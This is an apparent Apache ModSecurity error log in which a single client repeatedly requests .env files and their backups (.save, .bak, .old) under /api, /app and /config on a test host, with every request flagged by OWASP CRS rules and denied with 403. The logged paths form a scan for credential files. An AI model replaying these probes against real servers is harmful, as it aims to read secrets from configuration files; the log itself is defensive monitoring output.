[Fri Oct 24 20:58:12.092384 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbPwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.153697 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbQAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.153935 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbQAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.154106 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbQAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.206653 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbQQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.206856 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbQQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.207092 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbQQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.207267 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbQQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.261410 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbQgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.261602 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbQgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.261830 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbQgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.261986 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbQgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.303725 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbQwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.303989 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbQwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.304160 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbQwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.383665 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbRAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.383938 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbRAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.384127 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbRAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.433629 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbRQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.433823 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbRQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.434086 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbRQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.434276 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbRQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.478123 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbRgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.478303 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbRgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.478576 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbRgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.478736 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbRgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.526872 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbRwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.527131 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbRwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:12.527303 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aPvMRKDAbBJ3ZgAeIEJbRwAAAAE&quot;], referer: https://www.google.com/
